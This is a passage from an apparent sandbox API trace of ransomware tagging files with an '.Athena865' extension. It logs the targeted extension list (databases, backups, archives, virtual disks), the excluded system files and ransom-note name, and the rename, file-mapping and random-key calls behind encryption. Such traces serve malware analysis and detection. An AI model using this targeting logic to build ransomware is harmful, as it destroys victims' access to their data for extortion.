lpString2="sql") returned -1 [0091.218] lstrlenW (lpString="sqlite") returned 6 [0091.218] lstrcmpiW (lpString1="48.bmp", lpString2="sqlite") returned -1 [0091.218] lstrlenW (lpString="sqlite3") returned 7 [0091.218] lstrcmpiW (lpString1="r48.bmp", lpString2="sqlite3") returned -1 [0091.218] lstrlenW (lpString="sqlitedb") returned 8 [0091.218] lstrcmpiW (lpString1="or48.bmp", lpString2="sqlitedb") returned -1 [0091.218] lstrlenW (lpString="xml") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0091.218] lstrlenW (lpString="$er") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0091.218] lstrlenW (lpString="4dd") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0091.218] lstrlenW (lpString="4dl") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0091.218] lstrlenW (lpString="^^^") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0091.219] lstrlenW (lpString="abs") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0091.219] lstrlenW (lpString="abx") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0091.219] lstrlenW (lpString="accdb") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accdb") returned -1 [0091.219] lstrlenW (lpString="accdc") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accdc") returned -1 [0091.219] lstrlenW (lpString="accde") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accde") returned -1 [0091.219] lstrlenW (lpString="accdr") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accdr") returned -1 [0091.219] lstrlenW (lpString="accdt") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accdt") returned -1 [0091.219] lstrlenW (lpString="accdw") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accdw") returned -1 [0091.219] lstrlenW (lpString="accft") returned 5 [0091.219] lstrcmpiW (lpString1="8.bmp", lpString2="accft") returned -1 [0091.219] lstrlenW (lpString="adb") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0091.219] lstrlenW (lpString="adb") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0091.219] lstrlenW (lpString="ade") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0091.219] lstrlenW (lpString="adf") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0091.219] lstrlenW (lpString="adn") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0091.219] lstrlenW (lpString="adp") returned 3 [0091.219] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0091.220] lstrlenW (lpString="alf") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0091.220] lstrlenW (lpString="ask") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0091.220] lstrlenW (lpString="btr") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0091.220] lstrlenW (lpString="cat") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0091.220] lstrlenW (lpString="cdb") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0091.220] lstrlenW (lpString="ckp") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0091.220] lstrlenW (lpString="cma") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0091.220] lstrlenW (lpString="cpd") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0091.220] lstrlenW (lpString="dacpac") returned 6 [0091.220] lstrcmpiW (lpString1="48.bmp", lpString2="dacpac") returned -1 [0091.220] lstrlenW (lpString="dad") returned 3 [0091.220] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0091.220] lstrlenW (lpString="dadiagrams") returned 10 [0091.220] lstrcmpiW (lpString1="olor48.bmp", lpString2="dadiagrams") returned 1 [0091.220] lstrlenW (lpString="daschema") returned 8 [0091.220] lstrcmpiW (lpString1="or48.bmp", lpString2="daschema") returned 1 [0091.220] lstrlenW (lpString="db-journal") returned 10 [0091.220] lstrcmpiW (lpString1="olor48.bmp", lpString2="db-journal") returned 1 [0091.220] lstrlenW (lpString="db-shm") returned 6 [0091.220] lstrcmpiW (lpString1="48.bmp", lpString2="db-shm") returned -1 [0091.220] lstrlenW (lpString="db-wal") returned 6 [0091.220] lstrcmpiW (lpString1="48.bmp", lpString2="db-wal") returned -1 [0091.221] lstrlenW (lpString="dbc") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0091.221] lstrlenW (lpString="dbs") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0091.221] lstrlenW (lpString="dbt") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0091.221] lstrlenW (lpString="dbv") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0091.221] lstrlenW (lpString="dbx") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0091.221] lstrlenW (lpString="dcb") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0091.221] lstrlenW (lpString="dct") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0091.221] lstrlenW (lpString="dcx") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0091.221] lstrlenW (lpString="ddl") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0091.221] lstrlenW (lpString="dlis") returned 4 [0091.221] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0091.221] lstrlenW (lpString="dp1") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0091.221] lstrlenW (lpString="dqy") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0091.221] lstrlenW (lpString="dsk") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0091.221] lstrlenW (lpString="dsn") returned 3 [0091.221] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0091.221] lstrlenW (lpString="dtsx") returned 4 [0091.221] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0091.222] lstrlenW (lpString="dxl") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0091.222] lstrlenW (lpString="eco") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0091.222] lstrlenW (lpString="ecx") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0091.222] lstrlenW (lpString="edb") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0091.222] lstrlenW (lpString="epim") returned 4 [0091.222] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0091.222] lstrlenW (lpString="fcd") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0091.222] lstrlenW (lpString="fdb") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0091.222] lstrlenW (lpString="fic") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0091.222] lstrlenW (lpString="flexolibrary") returned 12 [0091.222] lstrcmpiW (lpString1="_color48.bmp", lpString2="flexolibrary") returned -1 [0091.222] lstrlenW (lpString="fm5") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0091.222] lstrlenW (lpString="fmp") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0091.222] lstrlenW (lpString="fmp12") returned 5 [0091.222] lstrcmpiW (lpString1="8.bmp", lpString2="fmp12") returned -1 [0091.222] lstrlenW (lpString="fmpsl") returned 5 [0091.222] lstrcmpiW (lpString1="8.bmp", lpString2="fmpsl") returned -1 [0091.222] lstrlenW (lpString="fol") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0091.222] lstrlenW (lpString="fp3") returned 3 [0091.222] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0091.222] lstrlenW (lpString="fp4") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0091.223] lstrlenW (lpString="fp5") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0091.223] lstrlenW (lpString="fp7") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0091.223] lstrlenW (lpString="fpt") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0091.223] lstrlenW (lpString="frm") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0091.223] lstrlenW (lpString="gdb") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0091.223] lstrlenW (lpString="gdb") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0091.223] lstrlenW (lpString="grdb") returned 4 [0091.223] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0091.223] lstrlenW (lpString="gwi") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0091.223] lstrlenW (lpString="hdb") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0091.223] lstrlenW (lpString="his") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0091.223] lstrlenW (lpString="ib") returned 2 [0091.223] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0091.223] lstrlenW (lpString="idb") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0091.223] lstrlenW (lpString="ihx") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0091.223] lstrlenW (lpString="itdb") returned 4 [0091.223] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0091.223] lstrlenW (lpString="itw") returned 3 [0091.223] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0091.224] lstrlenW (lpString="jet") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0091.224] lstrlenW (lpString="jtx") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0091.224] lstrlenW (lpString="kdb") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0091.224] lstrlenW (lpString="kexi") returned 4 [0091.224] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0091.224] lstrlenW (lpString="kexic") returned 5 [0091.224] lstrcmpiW (lpString1="8.bmp", lpString2="kexic") returned -1 [0091.224] lstrlenW (lpString="kexis") returned 5 [0091.224] lstrcmpiW (lpString1="8.bmp", lpString2="kexis") returned -1 [0091.224] lstrlenW (lpString="lgc") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0091.224] lstrlenW (lpString="lwx") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0091.224] lstrlenW (lpString="maf") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0091.224] lstrlenW (lpString="maq") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0091.224] lstrlenW (lpString="mar") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0091.224] lstrlenW (lpString="marshal") returned 7 [0091.224] lstrcmpiW (lpString1="r48.bmp", lpString2="marshal") returned 1 [0091.224] lstrlenW (lpString="mas") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0091.224] lstrlenW (lpString="mav") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0091.224] lstrlenW (lpString="maw") returned 3 [0091.224] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0091.224] lstrlenW (lpString="mdbhtml") returned 7 [0091.225] lstrcmpiW (lpString1="r48.bmp", lpString2="mdbhtml") returned 1 [0091.225] lstrlenW (lpString="mdn") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0091.225] lstrlenW (lpString="mdt") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0091.225] lstrlenW (lpString="mfd") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0091.225] lstrlenW (lpString="mpd") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0091.225] lstrlenW (lpString="mrg") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0091.225] lstrlenW (lpString="mud") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0091.225] lstrlenW (lpString="mwb") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0091.225] lstrlenW (lpString="myd") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0091.225] lstrlenW (lpString="ndf") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0091.225] lstrlenW (lpString="nnt") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0091.225] lstrlenW (lpString="nrmlib") returned 6 [0091.225] lstrcmpiW (lpString1="48.bmp", lpString2="nrmlib") returned -1 [0091.225] lstrlenW (lpString="ns2") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0091.225] lstrlenW (lpString="ns3") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0091.225] lstrlenW (lpString="ns4") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0091.225] lstrlenW (lpString="nsf") returned 3 [0091.225] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0091.225] lstrlenW (lpString="nv") returned 2 [0091.226] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0091.226] lstrlenW (lpString="nv2") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0091.226] lstrlenW (lpString="nwdb") returned 4 [0091.226] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0091.226] lstrlenW (lpString="nyf") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0091.226] lstrlenW (lpString="odb") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0091.226] lstrlenW (lpString="odb") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0091.226] lstrlenW (lpString="oqy") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0091.226] lstrlenW (lpString="ora") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0091.226] lstrlenW (lpString="orx") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0091.226] lstrlenW (lpString="owc") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0091.226] lstrlenW (lpString="p96") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0091.226] lstrlenW (lpString="p97") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0091.226] lstrlenW (lpString="pan") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0091.226] lstrlenW (lpString="pdb") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0091.226] lstrlenW (lpString="pdm") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0091.226] lstrlenW (lpString="pnz") returned 3 [0091.226] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0091.227] lstrlenW (lpString="qry") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0091.227] lstrlenW (lpString="qvd") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0091.227] lstrlenW (lpString="rbf") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0091.227] lstrlenW (lpString="rctd") returned 4 [0091.227] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0091.227] lstrlenW (lpString="rod") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0091.227] lstrlenW (lpString="rodx") returned 4 [0091.227] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0091.227] lstrlenW (lpString="rpd") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0091.227] lstrlenW (lpString="rsd") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0091.227] lstrlenW (lpString="sas7bdat") returned 8 [0091.227] lstrcmpiW (lpString1="or48.bmp", lpString2="sas7bdat") returned -1 [0091.227] lstrlenW (lpString="sbf") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0091.227] lstrlenW (lpString="scx") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0091.227] lstrlenW (lpString="sdb") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0091.227] lstrlenW (lpString="sdc") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0091.227] lstrlenW (lpString="sdf") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0091.227] lstrlenW (lpString="sis") returned 3 [0091.227] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0091.227] lstrlenW (lpString="spq") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0091.228] lstrlenW (lpString="te") returned 2 [0091.228] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0091.228] lstrlenW (lpString="teacher") returned 7 [0091.228] lstrcmpiW (lpString1="r48.bmp", lpString2="teacher") returned -1 [0091.228] lstrlenW (lpString="tmd") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0091.228] lstrlenW (lpString="tps") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0091.228] lstrlenW (lpString="trc") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0091.228] lstrlenW (lpString="trc") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0091.228] lstrlenW (lpString="trm") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0091.228] lstrlenW (lpString="udb") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0091.228] lstrlenW (lpString="udl") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0091.228] lstrlenW (lpString="usr") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0091.228] lstrlenW (lpString="v12") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0091.228] lstrlenW (lpString="vis") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0091.228] lstrlenW (lpString="vpd") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0091.228] lstrlenW (lpString="vvv") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0091.228] lstrlenW (lpString="wdb") returned 3 [0091.228] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0091.229] lstrlenW (lpString="wmdb") returned 4 [0091.229] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0091.229] lstrlenW (lpString="wrk") returned 3 [0091.229] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0091.229] lstrlenW (lpString="xdb") returned 3 [0091.229] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0091.229] lstrlenW (lpString="xld") returned 3 [0091.229] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0091.229] lstrlenW (lpString="xmlff") returned 5 [0091.229] lstrcmpiW (lpString1="8.bmp", lpString2="xmlff") returned -1 [0091.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp.Athena865") returned 82 [0091.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp.athena865"), dwFlags=0x1) returned 1 [0091.230] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.230] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6968) returned 1 [0091.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.230] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.231] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.231] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.231] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e40, lpName=0x0) returned 0x154 [0091.233] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e40) returned 0x100000 [0091.234] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.234] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.234] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="..") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="windows") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="bootmgr") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="temp") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="pagefile.sys") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="boot") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="ids.txt") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="ntuser.dat") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="perflogs") returned 1 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="MSBuild") returned 1 [0091.235] lstrlenW (lpString="wmpnss_color48.jpg") returned 18 [0091.235] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color48.jpg" | out: lpString1="wmpnss_color48.jpg") returned="wmpnss_color48.jpg" [0091.235] lstrlenW (lpString="wmpnss_color48.jpg") returned 18 [0091.235] lstrlenW (lpString="Athena865") returned 9 [0091.235] lstrcmpiW (lpString1="lor48.jpg", lpString2="Athena865") returned 1 [0091.235] lstrlenW (lpString=".dll") returned 4 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".dll") returned 1 [0091.235] lstrlenW (lpString=".lnk") returned 4 [0091.235] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".lnk") returned 1 [0091.236] lstrlenW (lpString=".ini") returned 4 [0091.236] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".ini") returned 1 [0091.236] lstrlenW (lpString=".sys") returned 4 [0091.236] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".sys") returned 1 [0091.236] lstrlenW (lpString="wmpnss_color48.jpg") returned 18 [0091.236] lstrlenW (lpString="bak") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0091.236] lstrlenW (lpString="ba_") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0091.236] lstrlenW (lpString="dbb") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0091.236] lstrlenW (lpString="vmdk") returned 4 [0091.236] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0091.236] lstrlenW (lpString="rar") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0091.236] lstrlenW (lpString="zip") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0091.236] lstrlenW (lpString="tgz") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0091.236] lstrlenW (lpString="vbox") returned 4 [0091.236] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0091.236] lstrlenW (lpString="vdi") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0091.236] lstrlenW (lpString="vhd") returned 3 [0091.236] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0091.236] lstrlenW (lpString="vhdx") returned 4 [0091.236] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0091.236] lstrlenW (lpString="avhd") returned 4 [0091.236] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0091.236] lstrlenW (lpString="db") returned 2 [0091.237] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0091.237] lstrlenW (lpString="db2") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0091.237] lstrlenW (lpString="db3") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0091.237] lstrlenW (lpString="dbf") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0091.237] lstrlenW (lpString="mdf") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0091.237] lstrlenW (lpString="mdb") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0091.237] lstrlenW (lpString="sql") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0091.237] lstrlenW (lpString="sqlite") returned 6 [0091.237] lstrcmpiW (lpString1="48.jpg", lpString2="sqlite") returned -1 [0091.237] lstrlenW (lpString="sqlite3") returned 7 [0091.237] lstrcmpiW (lpString1="r48.jpg", lpString2="sqlite3") returned -1 [0091.237] lstrlenW (lpString="sqlitedb") returned 8 [0091.237] lstrcmpiW (lpString1="or48.jpg", lpString2="sqlitedb") returned -1 [0091.237] lstrlenW (lpString="xml") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0091.237] lstrlenW (lpString="$er") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0091.237] lstrlenW (lpString="4dd") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0091.237] lstrlenW (lpString="4dl") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", 